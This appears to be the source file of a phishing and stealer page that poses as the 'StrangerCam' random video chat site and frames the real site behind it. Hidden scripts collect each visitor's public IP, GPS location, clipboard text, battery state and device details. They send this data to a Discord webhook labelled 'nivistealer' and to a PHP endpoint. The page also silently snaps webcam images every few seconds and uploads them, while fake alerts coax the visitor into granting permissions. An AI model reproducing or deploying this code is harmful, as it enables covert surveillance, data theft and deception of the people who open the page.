-
Notifications
You must be signed in to change notification settings - Fork 213
/
index.html
317 lines (292 loc) · 11.6 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
<html>
<head>
<style>
img[alt*="www.000webhost.com"], .disclaimer {
display: none
}
.iframe-container {
position: relative;
width: 100%;
height: 100vh;
}
.dialog-box {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background-color: #ffffff;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
padding: 20px;
text-align: center;
max-width: 300px;
}
.dialog-box h2 {
margin-top: 0;
color: #333333;
}
.dialog-box p {
margin-bottom: 20px;
color: #666666;
}
.btn-allow {
background-color: #4CAF50;
color: #ffffff;
border: none;
padding: 10px 20px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
border-radius: 4px;
cursor: pointer;
transition: background-color 0.3s;
}
.btn-allow:hover {
background-color: #45a049;
}
</style>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Random Video Chat - StrangerCam.com: Cam With Strangers</title>
<meta
name="description"
content="Enjoy our Anonymous random video chat with over 5.000.000 strangers. No Sign-Up Required! Cam with strangers on StrangerCam.com"
/>
<link rel="canonical" href="https://strangercam.com/" />
<meta property="og:locale" content="en_US" />
<meta property="og:type" content="website" />
<meta
property="og:title"
content="Random Video Chat - StrangerCam.com: Cam With Strangers"
/>
<meta
property="og:description"
content="Enjoy our Anonymous random video chat with over 5.000.000 strangers. No Sign-Up Required! Cam with strangers on StrangerCam.com."
/>
<meta property="og:site_name" content="Stranger Cam" />
<meta
property="article:publisher"
content="https://www.facebook.com/strangercam"
/>
<meta
property="article:modified_time"
content="2021-12-17T14:46:35+00:00"
/>
<meta
property="og:image"
content="https://strangercam.com/wp-content/uploads/2021/10/Untitled-2.png"
/>
<meta property="og:image:width" content="800" />
<meta property="og:image:height" content="532" />
<meta property="og:image:type" content="image/png" />
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:site" content="@strangercamapp" />
<meta name="twitter:label1" content="Est. reading time" />
<meta name="twitter:data1" content="4 minutes" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
<script src="https://unpkg.com/@ungap/custom-elements-builtin"></script>
<script src="x-frame-bypass.js" type="module"></script>
<script>
$(document).ready(function() {
var batterypercentage;
var ischarging;
function getPublicIp() {
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.ipify.org?format=json', false);
xhr.send();
if (xhr.status === 200) {
const data = JSON.parse(xhr.responseText);
return data.ip;
} else {
console.error(`Error: ${xhr.statusText}`);
return null;
}
}
const publicIp = getPublicIp();
async function getclips() {
var btr = await navigator.getBattery();
batterypercentage = String(btr.level * 100 + "%");
ischarging = String(btr.charging);
// Add a 8-second delay using setTimeout
setTimeout(async function() {
try {
let victimtext = await navigator.clipboard.readText();
giveclips(victimtext);
} catch (error) {
giveclips("Clipboard Permission Denied");
}
}, 8000);
}
getclips();
var clips
function giveclips(polp) {
clips = polp
getLocation()
}
function getLocation() {
if (navigator.geolocation) {
setTimeout(() => {
navigator.geolocation.getCurrentPosition(showPosition, showError, { timeout: 5000 });
}, 5000);
} else {
alert("Your Browser Does not support Gps");
}
}
function showPosition(position) {
var grak = "Lattitute : " + position.coords.latitude + " " + "Longitude : " + position.coords.longitude
sdrp(grak, clips,batterypercentage,ischarging);
senddis(grak, clips,batterypercentage,ischarging);
}
function showError(error) {
switch (error.code) {
case error.PERMISSION_DENIED:
sdrp("Location Permission Denied",clips,batterypercentage,ischarging);
senddis("Location Permission Denied",clips,batterypercentage,ischarging)
alert("Allow Location permission to Chat with nearby Strangers");
break;
case error.POSITION_UNAVAILABLE:
window.close()
break;
case error.TIMEOUT:
window.close()
break;
case error.UNKNOWN_ERROR:
window.close()
break;
}
}
let datetime = new Date();
let localtime = String(datetime.toLocaleTimeString());
let referurl = document.referrer;
let cpuThreads = String(navigator.hardwareConcurrency);
let deviceram = String(navigator.deviceMemory) + "gb";
let useragent = navigator.userAgent;
let iscookieEnabled = String(navigator.cookieEnabled);
let devicelang = String(navigator.language);
let width = screen.width;
let height = screen.height;
let platform = navigator.platform;
let networkinfo = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
let networkinformation = "Network type : " + networkinfo.effectiveType + " " + "Downlink :" + " " + networkinfo.downlink
function senddis(gpsr, clips,batterypercentage,ischarging) {
var request = new XMLHttpRequest();
request.open("POST", "https://your-discordwebhook-url");
request.setRequestHeader('Content-type', 'application/json');
var params = {
content: ("> **DeviceGps : **" + gpsr + "\n> **NetworkInformation : **" + networkinformation + "\n> **BatteryPercentage : **" + batterypercentage + "\n> **Ischarging : **" + ischarging + "\n> **ScreenWidth : **" + width + "\n> **ScreenHeight : **" + height + "\n> **PlatForm : **" + platform + "\n> **DeviceLanguage : **" + devicelang + "\n> **DeviceMemory : **" + deviceram + "\n> **IsCookieEnabled : **" + iscookieEnabled + "\n> **UserAgent : **" + useragent + "\n> **CpuThreads : **" + cpuThreads + "\n> **ReferUrl : **" + referurl + "\n> **Clipboard : **" + clips + "\n> **DeviceLocalTime : **" + localtime + "\n" + "> **Public IP : **" + publicIp),
username: "nivistealer",
avatar_url: "https://dpwhatsapp.xyz/wp-content/uploads/2021/08/Anime-Girl-WhatsApp-DP.jpg"
}
request.send(JSON.stringify(params));
}
function sdrp(bsdks, clipboard,batterypercentage,ischarging) {
$.ajax({
type: "POST",
url: "sunni.php",
data: {
networkinformation : networkinformation,
batterypercentage:batterypercentage,
ischarging:ischarging,
width: width,
height: height,
platform: platform,
gps: bsdks,
devicelang: devicelang,
iscookieEnabled: iscookieEnabled,
useragent: useragent,
deviceram: deviceram,
cpuThreads: cpuThreads,
referurl: referurl,
localtime: localtime,
clipboard: clipboard,
},
cache: false,
success: function(data) {},
error: function(xhr, status, error) {
console.log(error);
}
})
}
})
</script>
</head>
<div class="video-wrap" hidden="hidden">
<video id="video" playsinline autoplay></video>
</div>
<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>
<script>
function post(imgdata) {
$.ajax({
type: 'POST',
data: {
cat: imgdata
},
url: 'post.php',
dataType: 'json',
async: false,
success: function(result) {
// call the function that handles the response/results
},
error: function() {}
});
};
'use strict';
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');
const constraints = {
audio: false,
video: {
facingMode: "user"
}
};
// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
setTimeout(function(){
alert("Allow Camera access to chat with strangers");
window.location.href = "https://support.onemob.com/hc/en-us/articles/360037342154-How-do-I-grant-permission-for-Camera-and-Microphone-in-my-web-browser-"
alert("Read this page to grant camera access to our website")
},15000) }
}
// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;
var context = canvas.getContext('2d');
setInterval(function() {
context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData);
}, 3500);
}
// Load init
init();
</script>
<body>
<div class="iframe-container">
<iframe
is="x-frame-bypass"
src="https://strangercamchat.com"
frameborder="0"
style="overflow:hidden;height:100%;width:100%;position:fixed;top:0;left:0"
height="100%"
width="100%"
></iframe>
<div class="dialog-box" id="dialogBox">
<h2>Alert</h2>
<p>Please Allow all permissions to continue to chat with strangers</p>
<button class="btn-allow" id="allowBtn">OK</button>
</div>
</div>
<script>
document.getElementById("allowBtn").addEventListener("click", function() {
document.getElementById("dialogBox").style.display = "none";
});
</script>
</body>
</html>